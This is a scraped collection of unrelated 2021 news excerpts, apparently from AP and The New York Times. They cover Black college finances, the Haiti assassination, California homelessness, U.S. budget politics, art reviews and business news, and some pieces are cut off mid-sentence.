Councilman Evan Costas, R-at-large, said landlords could add language in the lease to protect themselves from tenants who behave badly. You only have so much control, especially when youre renting to university students, he said.

Obviously hotels are a little different, Balon said, although some have long-term residents.
ATLANTA (AP)  Two recent high-profile faculty appointments could be a fundraising and enrollment bonanza for Howard University, one of the nation's most prestigious Black colleges. Many other Black schools are not so fortunate; in fact, many are struggling.

Some, especially smaller private colleges, have been fighting for their survival for years, with weak endowments, aging buildings and steady enrollment declines, all made worse by the coronavirus pandemic.

"While larger HBCUs often have the funding resources necessary to attract accomplished talent like Nikole Hannah-Jones and Ta-Nehisi Coates, many smaller institutions need donors to step forward, contributing much-needed financial resources for us to compete," said Dr. Paulette Dillard, president of Shaw University, a private Black university in Raleigh, North Carolina.

Hannah-Jones accepted a faculty position at Howard amid controversy over whether she would be granted tenure at the University of North Carolina after critics questioned her credentials, specifically her Pulitzer Prize-winning work "The 1619 Project," which traces the country's history with slavery. Coates, a Howard graduate, is a journalist and best-selling author who also recently joined Howard's faculty.

Billions of dollars in federal virus relief will help higher education, but it may not be enough to change the long-term fortunes of some historically Black schools. An Associated Press analysis of enrollment and endowment data shows wide disparities among 102 historically Black colleges and universities, and a further divide between private and public institutions.

As one example, the five wealthiest private Black colleges had endowments ranging from $73,000 per student to more than $200,000, far above the median endowment of less than $16,000 per student. The largest endowment for a public Black college was less than $25,000 per student, though the public schools also receive state aid.

Overall enrollment in historically Black colleges has declined 11% in the most recent 10-year period for which data is available, from 325,609 in 2010 to 289,507 in 2019. Enrollment at some campuses dropped by half during that span, and several administrators said enrollments dropped further during the coronavirus pandemic last year.

As a rule, Black colleges also haven't had the fundraising ability of other universities. The cumulative endowment for all historical Black colleges through 2019 was a little more than $3.9 billion. That's about equal to the endowment for the University of Minnesota alone.

Of that amount, just eight private Black colleges held 54% of the total: Spelman College, Hampton University, Meharry Medical College, Xavier University of Louisiana, Morehouse College, Tuskegee University, the Morehouse School of Medicine and Howard, which counts Vice President Kamala Harris among its graduates.

Last summer's protests over racial injustice brought renewed attention to historically Black colleges and universities and led to a surge in private donations, at least for some.

Mackenzie Scott, the ex-wife of former Amazon founder Jeff Bezos, gave $560 million to 22 Black colleges, including some with very limited endowments, as well as to the Thurgood Marshall College Fund and the United Negro College Fund, both of which raise money for Black colleges and universities. Netflix founder Reed Hastings and his wife, Patty Quillin, split $120 million among the United Negro College Fund, Spelman and Morehouse. Former New York mayor and entrepreneur Michael Bloomberg pledged $100 million for student aid at the four historically Black medical schools.

"It's allowing the schools to see the opportunity to be bigger than they previously thought was possible," said Harry Williams, president and chief executive of the Thurgood Marshall fund.

Yet many lesser-known schools continue to struggle and scrape for money. Shaw, one of the oldest historically Black colleges in the South, has an endowment worth just $8,436 per student and did not benefit significantly from the wave of private giving last year, said David Byrd, the college's vice president of finance.

The college is able to "pay the bills" and get by, he said, but still has $26 million in deferred maintenance. Shaw and other smaller Black colleges that mostly depend on tuition are counting on help from the federal coronavirus relief championed by President Joe Biden and passed by Congress this spring. That aid package will send roughly $2.6 billion to historically Black colleges, although the U.S. Department of Education has not yet announced how it will allocate the money.

Shaw plans to use the money to fix older buildings and dormitories and expand a variety of student services. The federal aid can be used to make up for lost tuition income during the pandemic, hire more faculty, offer pay raises and upgrade heating and air-conditioning systems.

Wilberforce University in Ohio, another small historically Black private college, plans to use its pandemic relief money in similar ways, after the government forgave much of the university's $25 million in federal debt.

"The bottom line: It's very beneficial to the faculty, staff and students at this university, because now we have some additional opportunities for support," said William Woodson, Wilberforce's financial vice president.

Student debt is a significant drag on graduates of historically Black colleges, and administrators say it hurts enrollment. Limited endowments mean their campuses can't subsidize tuition as much as wealthier colleges.

A large percentage of students enrolled at historically Black colleges come from the poorest families, those making $20,000 a year or less, which forces them to borrow. Federal figures show the typical Black college graduate who borrowed money owes $52,000 in student loan debt, roughly double what the typical white student owes.

In addition to giving more financial aid to students, many Black colleges are considering using their federal pandemic money to create campus work-study jobs through which students can earn income, provide subsidized child care, buy personal computers and help students pay for high-speed internet connections.

At Shaw, officials hope renewed national interest in historically Black colleges and the role they play could spark enthusiasm for schools with much smaller endowments that have had to choose between updating buildings, closing programs or keeping tuition affordable for their students.

More than 80% of Shaw's undergraduates are eligible for federal Pell Grants, compared to roughly 45% of Howard students. But Byrd, the school's financial officer, said that's also where the university has had an impact for the past century and a half: giving low-income students the tools to find a career and succeed.

He said it's "really tough to predict" how long it will take for the university to recover from the pandemic. Its finances are primarily driven by tuition and donations, yet enrollment has dropped by nearly 53% from 2010 to 2019. He cited the need for continued federal relief or private donations that trickle down to the smaller schools.

"People think we want a handout for nothing. We have a proven track record for producing a certain type of kid for 150 years," Byrd said. "So, it's not really a handout; it's an investment."

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According to The Columbus Dispatch, Energy Harbor attorney Jonathan Streeter told Judge Koschik on Tuesday the four men had completed the declarations the judge had asked for last November but believe making them public now while Energy Harbor cooperates with federal prosecutors would be detrimental.

Akin Gump billed $65.5 million for 73,000 hours of work related to the bankruptcy and lobbying over that two-year period.

Akin Gump partners Sean DArcy, Henry Terhune and James Tucker billed just over $3 million for work they performed for FirstEnergy Solutions. Senior policy adviser Geoffrey Verhoff billed $372,000. Koschik in his original order referred to the four as Akin Gumps Ohio statehouse team.

Koschik asked the men to provide a detailed explanation of their listed time and expense entries for the following:

 Their roles in the selection of House speaker in 2018 and 2019. Householder was elected speaker in January 2019.

 Roles in the 2018 legislative elections. An FBI affidavit filed the day of the arrests said FirstEnergy secretly provided a dark money group controlled by Householder with millions to help support candidates who Householder needed to win the speakership and get the bailout bill approved.
Find out which countries have banned plastic bags, plus which American universities have the best pay for recent graduates, and more of this w
ILEARN was first administered in 2019. It measures proficiency in ELA and math in grades three through eight, science in grades four and six, social studies in grade five and U.S. Government and biology for high schoolers. The tests were not administered in 2020 because of pandemic-related school closures and a federally-granted waiver.

Ninety-seven percent of students grades three through eight across the state were tested in the 2021 assessment.

Because of variables in instruction due to the pandemic and the disruption in the 2020 assessment, this year's results should not be compared to the 2019 results, IDOE said. Instead, it said, the "2021 results present a new Indiana baseline."

"Now more than ever, every instructional minute counts, and schools cannot do this alone," Jenner said. "With data in hand, we must look to the future, and we need everyone to come to the table  educators, parents, community leaders and beyond  to provide individualized support and resources to each and every student."

Local performance
A state judge on Thursday blocked a move by Maryland officials to cut off federal pandemic unemployment benefits two months before they were scheduled to expire.

Judge Lawrence P. Fletcher-Hill of the Circuit Court for Baltimore City granted a preliminary injunction in a case challenging the decision by Gov. Larry Hogan, a Republican, to discontinue the benefits beginning July 3. The judge ordered the state to immediately take all actions necessary to ensure that Maryland residents continue to receive any and all expanded and/or supplemental unemployment benefits.

The Maryland Department of Labor did not respond to a request for comment on whether it would appeal the injunction, which is to remain in place until the case comes to trial.

More than two dozen states, all but one led by Republican governors, have moved to cut off some or all of the federal benefits, saying they are discouraging people from seeking work at a time when some businesses are scrambling to staff up as the pandemic fades. The benefits, administered by the states, include a $300 weekly supplement to other unemployment insurance. They are funded by the federal government until Sept. 6.
A unit of TIAA, the investment firm that runs retirement plans for many educators and others, will pay $97 million to settle charges from both the Securities and Exchange Commission and New York State that it misled thousands of investors.

Attorney General Letitia James of New York said the company had relied on its reputation as a trusted and objective financial adviser to profit off of clients through fraudulent and manipulative sales practices.

The state and federal securities regulators said TIAA employees had encouraged investors to move money out of retirement plans with their employers, where fees were lower, to different plans that helped the company make more money.
More than one-quarter of the nations homeless population lives in California. In February last year, Newsom devoted his entire State of the State address to the homelessness crisis. Its a disgrace that the richest state in the richest nation  succeeding across so many sectors  is falling so far behind to properly house, heal and humanely treat so many of its own people, he said. And that was before the pandemic pushed the figures even higher. In May of this year, Newsom announced that $12 billion, the biggest investment by any state, would be spent to fight homelessness. Housing advocates say thats not nearly enough. For example, Matt Schwartz, the head of the California Housing Partnership, says that over the next decade the state needs to create 1.2 million more homes for low-income residents and those experiencing homelessness  which would cost roughly $17.9 billion annually. Newsoms proposal doesnt include a long-term plan or permanent sources of funding.

Youre going to bang your head again and again and again and again, unless you do the basics  densify and build a heck of a lot more housing.

We dont have enough power over the most important drivers into and solutions out of homelessness, Eric Garcetti, the mayor of Los Angeles, told me at the beginning of July. And well never have the local resources, even if we pass three or four more H.H.H.s, he added, referring to the $1.2 billion bond earmarked in 2019 for 10,000 housing units. Garcetti acknowledged that over the last 12 years, his time first as a Los Angeles City Council member and then as mayor, he has seen vast increases in support: The money allocated to address homelessness in the city has risen to nearly $1 billion from $10 million.

When we spoke, Garcetti was preparing to visit Washington to meet with members of Congress and President Bidens cabinet in order to push for federal policies that tackle homelessness. Food stamps and Medicaid are entitlement programs available to whoever needs them, he pointed out. But when it comes to housing, its not an entitlement, he said. Its a lottery, and one with woefully inadequate resources. He went on to say: Im not going to be mayor two years from now. Im going to be an Angeleno, and I care deeply and live here, but youre going to bang your head again and again and again and again, unless you do the basics  densify and build a heck of a lot more of housing.

According to the most recent annual count by the Los Angeles Homeless Services Authority, from 2019 to 2020  the agency did not conduct a count this year because of the pandemic  homelessness in Los Angeles County increased by 12.7 percent, to 66,433 unhoused people; in the city of Los Angeles, the increase was 16 percent, to 41,290 people. In Council District 11, which includes Venice, the figures were up by 40 percent, to 3,165 people. Venice has the largest concentration of homeless people on the Westside, and everyone there agrees that this is a cruel, unsustainable situation.

But the community, once a bohemian enclave, is divided over what to do about it. On one side, longstanding organizations like Venice Community Housing continue to advocate for equitable housing in the neighborhood; other residents file lawsuits opposing any new shelters or developments. Self-proclaimed progressives fight among themselves, in person and virtually, railing against each other on Facebook, Twitter, Nextdoor and at community meetings. Some want the homeless shipped off to somewhere  anywhere  else, citing the violence, the feces, the bike thefts. Others support local shelters, arguing that housed neighbors dont have enough compassion for those in crisis and that the citys social services are severely lacking. Politicians lobby for beds. Both sides complain that the government takes too long to act and spends too much money. Neighborhood council meetings have been volatile to the point of requiring the presence of half a dozen police officers to keep the peace. People are at their wits end, and Im sympathetic, Garcetti told me. Ive had plenty of unhoused people on my street, including the guy who yells every day at like 3 to 4 a.m. and wakes me up. But in Venice, he said, its been especially brutal to see the inhumanity. The situation in Venice, and certainly on the boardwalk, is absolutely unacceptable. I think that we dont need to apologize for saying weve got to house people and return public space.
President Biden late last month ordered airstrikes against Iranian-backed militias in Syria and Iraq, telling Congress that he acted to defend American military personnel and deter Iranian attacks. At the same time, the two countries are working toward a resurrection of a 2015 deal to limit Irans nuclear power.

Ms. Alinejad, who hosts a program called Tablet on Voice of America Persian, a U.S. government-owned broadcaster, has been harshly critical of the nuclear deal.

In a brief phone interview on Tuesday evening, Ms. Alinejad said that learning details of the plot was shocking to her but that she had told her husband and son not to panic.

That shows that theyre not scared of America  theyre scared of me, she said, adding, Otherwise, they would not send anyone here to kidnap me.

In a 2018 essay in The New York Times, Ms. Alinejad described her decision to leave Iran a decade earlier.

As a journalist in Iran, I often got into trouble exposing the regimes mismanagement and corruption until, eventually, my press pass was revoked, she wrote. I was often threatened with arrest or worse for writing articles critical of former President Mahmoud Ahmadinejad. Ultimately, I was forced to flee my homeland in 2009.

According to the indictment, in 2018, the Iranian government tried to pay relatives of Ms. Alinejad who live in Iran to invite her to travel to a third country, apparently for the purpose of having her arrested or detained and taken to Iran to be imprisoned. Her relatives did not accept the offer, the indictment said.
You have zero privacy anyway, Scott McNealy, the chief executive of Sun Microsystems, infamously declared more than 20 years ago. Get over it.

Well, you shouldnt get over it. The rise of social media, Google and online shopping and banking has made us far more exposed than back in the internets infancy in 1999. Today, personal data like your Social Security number, bank account information, passwords, purchases, political beliefs, likes and dislikes are stockpiled in central databases. That makes it more easily analyzed than ever before by companies that want to part you from your money, and easier for criminals to steal or for the government to sift through. Worse, we hand over much of it willingly.

Perhaps you feel Mr. McNealys remark was prescient and that tech companies have simply won out in the battle for access to your every desire or private thought. (They even track your mouse movements.) And it may feel benign to turn over your shopping and web browsing history to technologists in Silicon Valley. But it should worry you that access to your data and myriad inferences about you are a mere government request away.

At a congressional hearing last month, Tom Burt, Microsofts corporate vice president for customer security, said his company fields as many as 3,500 federal law enforcement requests annually for sensitive customer data, all under order of secrecy.
SPORTS

In an article on June 16, Karen Crouse wrote about the impact of Michael Phelpss mentoring of athletes in the U.S. Olympic swimming trials. After the article was published, editors learned that Ms. Crouse had entered an agreement to co-write a book with Mr. Phelps. If editors had been aware of the conflict, she would not have been given the assignment.

Corrections

FRONT PAGE

An article on Tuesday about protests in Cuba misstated the name of the company at which Doug Madory is director of internet analysis. It is Kentik, not Kentikinc. The article also misstated the given name of a homemaker in Havana. She is Odalis, not Odais.

An article on Saturday about Haitis call for U.S. military assistance misstated the name of the U.S. government agency that the assailants who killed Jovenel Moise identified themselves as being agents of when they burst into his home. It is the Drug Enforcement Administration, not the Drug Enforcement Agency.

INTERNATIONAL

An article on Monday about institutional weakness in Haiti misstated the name of the publication in which Peter Mulrean wrote that holding Haitis elections in September would be a mistake. It is Just Security, not Just Society.
The Centers for Disease Control and Prevention issued new school guidance last week, calling for a full return to classrooms in the fall and recommending that masks be optional for fully vaccinated students and staff.

But the guidance left a lot of details up to state and local governments, advising districts to use local coronavirus data to guide decisions about when to tighten or relax prevention measures like masking and physical distancing. It also recommended that unvaccinated students and staff members keep wearing masks.

In New York City, the nations largest public school district, Mayor Bill de Blasio said on Monday that masks would still be required for everyone in the coming school year, though he added that officials would continue to evaluate the decision.

For now, assume were wearing masks, but that could change as we get closer, Mr. de Blasio said at a news conference. But well be driven by the data we see and the science as always.
A coalition of abortion providers and their supporters filed a federal lawsuit on Tuesday to challenge a new Texas law that would allow individuals to sue abortion clinics, doctors and anyone helping a woman get an abortion in the state.

The unusual provision, which passed the State Legislature this spring, was part of a bill that bans abortion after a doctor detects a fetal heartbeat, usually around six weeks of pregnancy. It effectively allows ordinary people, including those outside Texas, to sue clinics and others who violate the law, and to potentially be awarded at least $10,000 per illegal abortion.

Many states have passed six-week abortion bans, and abortion rights supporters have successfully challenged them in court by suing government officials charged with enforcing the laws, often in the states executive branches. But the ban in Texas prevents those state officials from enforcing it, posing unique legal challenges to abortion rights supporters who want to stop the law from taking effect on Sept. 1.

The plaintiffs  who are led by Whole Womans Health and include clinics, doctors and clergy, as well as groups that help women pay for abortions  are instead suing a wide range of defendants who could be involved in the enforcement process. Those include judicial branch officials like every state court trial judge and county clerk, and leaders of groups like the Texas Medical Board, the Texas Board of Nursing and the Texas State Board of Pharmacy.
WASHINGTON  The Justice Department sought the email records of three Washington Post reporters the day before William P. Barr stepped down as attorney general in a last-ditch effort to identify who had told the newspaper about conversations between Trump campaign officials and the Russian ambassador, newly unsealed court documents show.

The Dec. 22 request, one of Mr. Barrs last acts in office, was part of a major escalation by the Trump administration during its final weeks in power of a yearslong campaign to crack down on leaks of classified information to the news media. The Trump Justice Department also sought New York Times reporters records in that period.

The Biden Justice Department had disclosed the effort  which also included seizing the reporters phone records  last month, leading to the unsealing of the Post docket. The files shed new light on what happened, including listing the day prosecutors applied for the email records order and identifying three Post articles that were the subject of a leak investigation.

Those articles, identified only by their dates of publication, apparently included one in May 2017 that reported that President Donald J. Trumps son-in-law, Jared Kushner, had discussed with Russias ambassador, Sergey I. Kislyak, the possibility of using Russian diplomatic facilities as a communication back channel during the transition.
The For the People Act, the Democratic voting rights bill that President Biden urged Congress to pass in a major speech in Philadelphia this afternoon, was first introduced in January 2019. It was a simpler time: Few people outside Georgia had heard of Brad Raffensperger, Jan. 6 was just another date on the calendar, and the notion that large numbers of Republicans would join Donald J. Trump in baselessly denying his election loss seemed unlikely.

Some things in America should be simple and straightforward, Mr. Biden said in the speech, calling the bill a national imperative. He added, Perhaps the most important of those things, the most fundamental of those things, is the right to vote: the right to vote freely, the right to vote fairly and the right to have your vote counted.

The bill, also known as H.R. 1 or S. 1 (the names are symbolic of its priority for Democrats), addresses concerns that were top of mind for Democrats before the 2020 election, such as banning partisan gerrymandering, making voting easier and enforcing greater transparency on many political donations. Mr. Biden also called for passage of the John Lewis Voting Rights Act, which would reinstate elements of the Voting Rights Act of 1965 that the Supreme Court struck down in 2013.

However, even many commentators who have expressed concerns about the integrity of future elections have criticized the push for the For the People Act as fighting the last war. (Most Republicans have dismissed the bill as a partisan wish list.) These critics, who include The Timess Nate Cohn, argue that the bill does little to defang the graver threat that elections might be overturned by partisan lawmakers, a possibility that state-level Republicans have pushed toward reality in electorally critical states like Georgia and Arizona.
WASHINGTON  Top Democrats announced on Tuesday evening that they had reached agreement on an expansive $3.5 trillion budget blueprint, including plans to pour money into addressing climate change and expanding Medicare among an array of other Democratic priorities, that they plan to advance alongside a bipartisan infrastructure deal.

Combined with nearly $600 billion in new spending on physical infrastructure contained in the bipartisan plan, which omits many of Democrats highest ambitions, the measure is intended to deliver on President Bidens $4 trillion economic proposal. The budget blueprint, expected to be dominated by spending, tax increases and programs that Republicans oppose, would pave the way for a Democrats-only bill that leaders plan to push through Congress using a process known as reconciliation, which shields it from a filibuster.

To push the package  and the reconciliation bill that follows  through the evenly divided Senate, Democrats will have to hold together every member of their party and the independents aligned with them over what promises to be unified Republican opposition. It was not clear if all 50 lawmakers in the Democratic caucus, which includes centrists unafraid to break with their party like Senator Joe Manchin III of West Virginia and Senator Kyrsten Sinema of Arizona, had signed off the blueprint. The package is considerably smaller than the $6 trillion some progressives had proposed but larger than some moderates had envisioned.

Mr. Biden was set to attend lunch on Wednesday with Democrats, his first in-person lunch with the caucus since taking office, to rally the party around the plan and kick off the effort to turn it into a transformative liberal package. The blueprint, and subsequent bill, will also have to clear the House, where Democrats hold a razor-thin margin.
WASHINGTON  Republican supporters of a bipartisan infrastructure deal, rushing to lay the groundwork for a Senate vote as early as next week, have found themselves hung up on a familiar issue: how to pay for the hundreds of billions of dollars in new spending.

As lawmakers toil to turn a broad infrastructure outline into detailed legislation, the problem of the so-called pay-fors  which has plagued the bipartisan group behind the framework from the start  has only become thornier. Now, they are bracing for the Congressional Budget Office, the nonpartisan congressional scorekeeper, to rule that the revenue increases they agreed to in June will not add up to enough money to cover the nearly $600 billion for roads, bridges, rail and broadband included in their plan.

Making their job even tougher, conservative groups have begun a pressure campaign to scuttle a key revenue-raiser: a crackdown on tax cheats by the Internal Revenue Service that proponents say could produce as much as $100 billion to help pay for the plan.

This is going to be a real vulnerability, now until Election Day, Grover Norquist, the head of Americans for Tax Reform and a veteran conservative activist, said about the I.R.S. provision. If you put your fingerprints on audit more, everyone who gets audited, fairly or unfairly, is going to think, You did this to me. Your fingerprints are on the murder weapon.
Colombian officials have said that their investigation into their citizens involvement in the assassination plot is focused on German Alejandro Rivera, a retired captain, who they say appears to have been a primary contact for the U.S.-based recruiters.

Colombian consular officials still have not had access to their detained citizens, forcing them to rely on the information provided by the Haitian authorities, Colombias deputy foreign minister, Francisco Echeverri, told reporters on Monday.

But according to reports in the Colombian media, citing the countrys intelligence officers, Mr. Rivera told Haitian prosecutors that he was among a group of seven retired Colombian soldiers who entered the presidential residence on the night of the assassination.

The reports do not mention what role he or other Colombians might have played in the assassination  but they add a layer of doubt to the already murky story and raise questions about how privy some members of the Colombian group might have been to the plot that unfolded in the first hours of July 7 and left Mr. Moise dead and his wife injured, but no one else hurt.

The mystery is compounded by the frequent stopovers that the head of Mr. Moises presidential palace guard, Dimitri Herard, made in Bogota in the months before the assassination. Mr. Herard, who was trained in neighboring Ecuador, transited through the city six times this year on his way to other Latin American countries, spending at least two days in the Colombian capital on at least one occasion, Colombias defense minister said during a news conference on Monday.

The recruitment of Colombians for the mission appears to have begun when Duberney Capador, a former soldier with 20 years of experience on the force, got a call in April from a security company asking him to put together a group that would protect important people in Haiti, said his sister, Yenny Carolina Capador.

Mr. Capador, 40, had retired from the military in 2019 and was living with his mother on a family farm. He jumped at the opportunity, said his sister.
PORT-AU-PRINCE, Haiti  Teachers and religious leaders, lawyers and farmers, they are veterans of crisis who thought they had seen it all in recent years, looking on in outrage as the democracy they were fighting for was whittled away, gutted under the watch of President Jovenel Moise.

Then the gunmen struck, and a country that had been adrift now felt rudderless.

Mr. Moise is dead, assassinated in his own bedroom, and the few leaders left in the country have been so busy jostling to take his place that they have not even settled on a plan for burying him. It took a week just to announce that they had formed a committee to organize the ceremony.

All of this fighting, lamented Monique Clesca, a former United Nations official at a gathering of Haitian civic leaders Tuesday in the back of a restaurant in the leafy suburb of Petionville, a 10-minute drive from where the president was killed.

For months, as Haiti fell deeper into crisis over Mr. Moises rule, with protests upending the nation and Parliament reduced to a shell in the absence of elections, Ms. Clescas group had been meeting regularly, desperate to come up with a plan to get the country functioning again. Health care, a functioning judiciary, schools, food: Their goals were at once basic and ambitious.
Corita Kent

Through Aug. 13. Andrew Kreps, 22 Cortlandt Alley, Manhattan; (212) 741-8849, andrewkreps.com.

Corita Kent, also known as Sister Mary Corita, was pretty famous for a nun. She headlined a 1967 Newsweek article about the state of the American convent, and she worked on major commercial advertising campaigns to raise money for her orders Immaculate Heart College in Los Angeles, where she taught art. (Kent left the order in 1968 at the age of 50 and died in 1986.)

She was also a prolific artist. In screen-print collages and text art, she combined her passionate interest in social justice with a kind of earnestness about language, and about her own stated creed, which is rare to encounter anywhere, let alone in the art world. (Maybe you could call it good faith.)

Heroes and Sheroes at Andrew Kreps Gallery is New Yorks first complete showing of a series Kent made in 68 and 69. Using found imagery, mostly from the news media, loud colors, and often handwritten texts, Kent worked through the decades moral catastrophes  the Kennedy and King assassinations, the Vietnam War. She might juxtapose a Vietcong guerrilla being arrested with a diagram of a slave ship and a few lines of a Whitman poem. Or she might set a simple image of a flower above the phrase, Hope is believing that there has to be an I in daisy. Either way, the effect is as direct, and as devastating, as a sledgehammer blow.

The whole show, which is accompanied by a generous roundup of other text and media art, is extraordinary. But the piece I kept returning to was Pieta 1969, a Mardi Gras-colored study of Mary cradling Jesuss lifeless body above a letter one of Kents students wrote her about Robert Kennedy. It is so easy to fall apart when surrounded by destruction, the student observed. Now I can see what you meant when you said we have to create. Its the only thing we can do.
For me, one of the easy joys of Instagram is the ability to follow and unfollow accounts as I please. Weekly, I root myself in a specific part of the world through my screen. And so this month I was in Brooklyn, but my Instagram was fully Norwegian, filled with fjords, gorges and vast, dark skies with beautiful northern lights via accounts like @norwegianfjords and @mittnordnorge.

Every once in a while, I decide on following design patterns or art movements instead of places. Recently, I delved into minimalism. Because its principles are straightforward (remove all clutter, leave the essential), most of the accounts I came across were repetitive  not much to write home about. But after I fine-tuned my followership, I found people with distinct visual characteristics within the form. Here are five accounts that fit into the mold of minimalism, while speaking clearly with their own unique style.

Usually, a minimalist piece of art will have one or two major (meaning strongly present) colors that run across the work. The rest will often be a few elements intersecting the wider expanse as though they were boats on an immense blue sea. But the work of Klaus Micke subverts this general idea. By focusing on repeated lines and convoluted layouts, Micke has assembled a staggering body of posts that exude the possibility of a minimalism that relies on having more content rather than less. Above, with just two colors and dozens of lines, and one object that seems out of place, Micke demonstrates the possibility of more as less.
So do Harings mesmerizing brush stokes in black house paint. His figures, rendered as simple line drawings, still have a fluid painterly quality about them. Working quickly and without sketching or underpainting, Haring wielded his brush with precision, turning sharp corners around elbows and ankles without mucking up the depth of his surfaces  picking up and dropping his brush again and again to create those movement-implying dashes, leaving only a few casual drip marks behind.

The Denver museum has worked thoughtfully to make the mural look comfortable in its new setting. The individual sections are awkward to display, weighing hundreds of pounds and stretching as much as 9 feet in height and width. Some have six sides. The museum has built out its own walls around them so that they appear embedded in the building. Original doors, mailboxes and a Grace House building plaque are included in the arrangement for context.

Still, the display has its limitations. Even with the add-ons, viewers strolling through the exhibitions four rooms cant help but feel they are looking not at the original Grace House mural, but a chop-shop version of it. Removing this work from a stairwell fatally obscures its narrative of climbing stairs. The story is lost.
Welcome. Last week I wrote about returning to the movies and how, even more so than seeing a film on the big screen, it was thrilling to be in a crowd of people, responding to the on-screen together. I called it communal emotion, but was delighted to learn that theres another term for it, coined by the French sociologist Emile Durkheim in the early 20th century: collective effervescence. As the organizational psychologist Adam Grant recently explained in a guest essay for the Sunday Review, the term refers to the sense of energy and harmony people feel when they come together in a group around a shared purpose. Check out Grants piece, if you have a few minutes.

I asked about those small, specific things, like laughing with strangers in movie theaters, youve been surprised lately to discover that you missed. So many of the responses cited instances of collective effervescence.

A few weeks ago I took my niece to visit Storm King Art Center. When we got to the parking lot, people from other cars were getting out and readying themselves to walk through the park. I couldnt help but say out loud, Wow, this is amazing! Ive really missed people. SO glad to be here! They all smiled and shared the same sentiment. Later, we went to a pizza place and exchanged greetings and light banter with the owners. Ive missed just being around other humans, being friendly, saying hello and doing it all without a mask. For so many months, fear has driven me to keep to myself  fear of the virus and also of anti-Asian racism. It was a gift to no longer be fearful (albeit still cautious) and to be among my fellow humans. Elena Yee, Poughkeepsie, N.Y.

Now that Im fully vaccinated and no longer need to mask, I can wear lipstick in public again. Over the holiday weekend, I had multiple people tell me that they liked my lip color. What a lovely positive affirmation! Not something I thought I was missing out on, but a delight to experience again. Norah Blackaller, Downers Grove, Ill.

Last summer, the swimming area at my local pond was closed because of health and overcrowding concerns. This year, its open again, but I still feel the need to avoid crowds. Ive been getting up at 5:30 every morning, rain or shine, to take a dip before work. I make one cup of strong black coffee, grab my towel and go. Im in the water by 6 most mornings, swim for about 20 minutes and then get out and head home to get ready for work. I find that even this small time to myself every morning helps me get through whatever challenges the day brings. Michael Tucker, Bath, Maine

When the first lockdown in my country was announced, I thought that my college would be the thing Id miss the most. However, unexpectedly, my metro rides to college became the activity I missed the most. Bumping into your friends out of the blue, watching people do silly things on the metro, watching the city buildings and landscapes, randomly talking to a stranger, helping someone with routes and exploring new routes made me happy. Gorvi Sajnani, New Delhi

On a Saturday night a couple of weeks ago, driving with another couple into NYC to have dinner, we found ourselves in a slow crawl on the helix to the Lincoln Tunnel, and major traffic after that: An hour-and-fifteen-minute drive turned into a two-and-a-half-hour drive. With memories of a deserted Times Square and city streets seared into my brain, the traffic and the crowds never looked so good. Bonnie Schultz, Princeton, N.J.

If you spent a lot of time watching television during 2020, you might have been cheered to see some of your favorites receive Emmy nominations yesterday. Here are our critics responding to the selections, and heres a look at the surprises and snubs. We spoke to many of the nominees, including Elizabeth Olsen, Billy Porter, Kate Winslet and Cynthia Erivo. The awards will be broadcast on Sunday, Sept. 19, at 8 p.m. Eastern on CBS and Paramount+, if you want to start planning a get-together now.

P.S.

Tell us.

Have you experienced moments of collective effervescence recently? Tell us about it: athome@nytimes.com. Include your full name and location and we might feature your story in a future newsletter. Were At Home and Away. Well read every letter sent. More ideas for leading a full and cultured life, whether youre at home or away, appear below.
Delta Air Lines on Wednesday reported a $652 million profit in the second quarter of the year, its first since the pandemic began and the latest sign that the airline recovery is well underway. The carrier reported $7.1 billion in revenue.

There were also promising indications that the business is returning to normal, Delta said, noting that booking trends recovered as customers bought tickets further out, with average daily sales beating Deltas internal expectations by 20 percent.

Domestic leisure travel is fully recovered to 2019 levels, and there are encouraging signs of improvement in business and international travel, the airlines chief executive, Ed Bastian, said in a statement.

Corporate travel recovered as offices reopened throughout the quarter, with the number of business travelers down 60 percent in June compared with 80 percent in March, according to the airline.
The proposals could reshape polluting industries like steel making, which directly employs 330,000 people in the European Union.

This is a truth that needs to be told, said Akio Ito, a senior partner at Roland Berger, a consulting firm based in Munich. One way or the other, we as consumers will have to pay the price for the green transformation.

Mr. Ito said the new proposals would challenge industries in a number of ways. Companies would need to switch to cleaner energy sources, like hydrogen, that are likely to be more expensive. There is a risk that European companies will begin relocating some of their most polluting operations, like making iron, outside the European Unions borders, he said.

Frans Timmermans, the European commissioner responsible for the so-called Green Deal, acknowledged on Wednesday that some sectors will profit more than others. He said the onus was on the European Commission to show that the burdens and rewards could be allocated fairly.

The European Commissions plan, Fit for 55, calls for its 27 member states to cut their output of greenhouse gases by 55 percent by 2030, compared with 1990 levels.
There are two major topics for the German car manufacturers: the change to electric cars and autonomous driving, said Moritz Husch, a partner at the Covington law firm in Frankfurt who has followed the legislation. The German car manufacturers are one of our crown jewels. They are really keen to get at the forefront of both topics.

The law permits autonomous vehicles that remain within a defined territory and are overseen by trained technicians. Crucially, it allows the monitors to keep tabs on numerous vehicles remotely. That means a person or team could supervise a fleet of autonomous shuttle vans or self-driving taxis by video from a command center, eliminating the need for a supervisor in every vehicle. In case of trouble, a technician would be able to take control of the vehicle from afar.

Proponents say the law will allow autonomous buses to serve rural areas where public transportation is scarce. Other services might include automated valet parking or robot package delivery. Autonomous vehicles could be used to transport components or workers around a factory complex or students around a university.

Vehicles already exist that can navigate a predictable course, such as from an airport parking lot to a departure terminal, but existing German law requires a human to be on board, which cancels out any cost savings from eliminating the driver.

If a driver can oversee a dozen buses from a command center, there are use cases that would now be attractive, said Peter Liggesmeyer, director of the Fraunhofer Institute for Experimental Software Engineering in Kaiserslautern. That will encourage more development, he said.

In technical jargon, the new law allows Level 4 autonomous driving, in which a vehicle can steer and navigate by itself most of the time but may occasionally require human intervention. That is one step away from the autonomous driving nirvana of cars that can operate without any human help.
At first glance, the gun resembled a toy, one whose building blocks were the ubiquitous red, yellow, blue and green Legos.

But beneath the surface of its colorful shell was something lethal: a Glock 19 pistol that had been customized by a Utah-based company that specializes in modifications to firearms.

The Lego Group, the Danish brand known for being fiercely protective of its intellectual property and likeness, recently demanded that the company, Culper Precision of Provo, Utah, stop selling the casing. The product, which was called the Block 19, cost $549 to $765.

The objections came amid intense criticism of the Lego-inspired kit by gun-control groups, which had warned that children could easily mistake the Block 19 for a toy. Since the coronavirus pandemic began last year, they said, unintentional shooting deaths by children had already risen sharply.
The ability to build back a margin of safety through reforestation is very real, he said, and could help bring back the role of trees in producing the moisture within the forests. I dont think youll ever get it back to what it was, but you can certainly improve it, he said.

The forests are a critical part of the regions water cycle; moisture put into the air by trees is responsible for as much as 35 percent of the regions rainfall, according to some estimates.

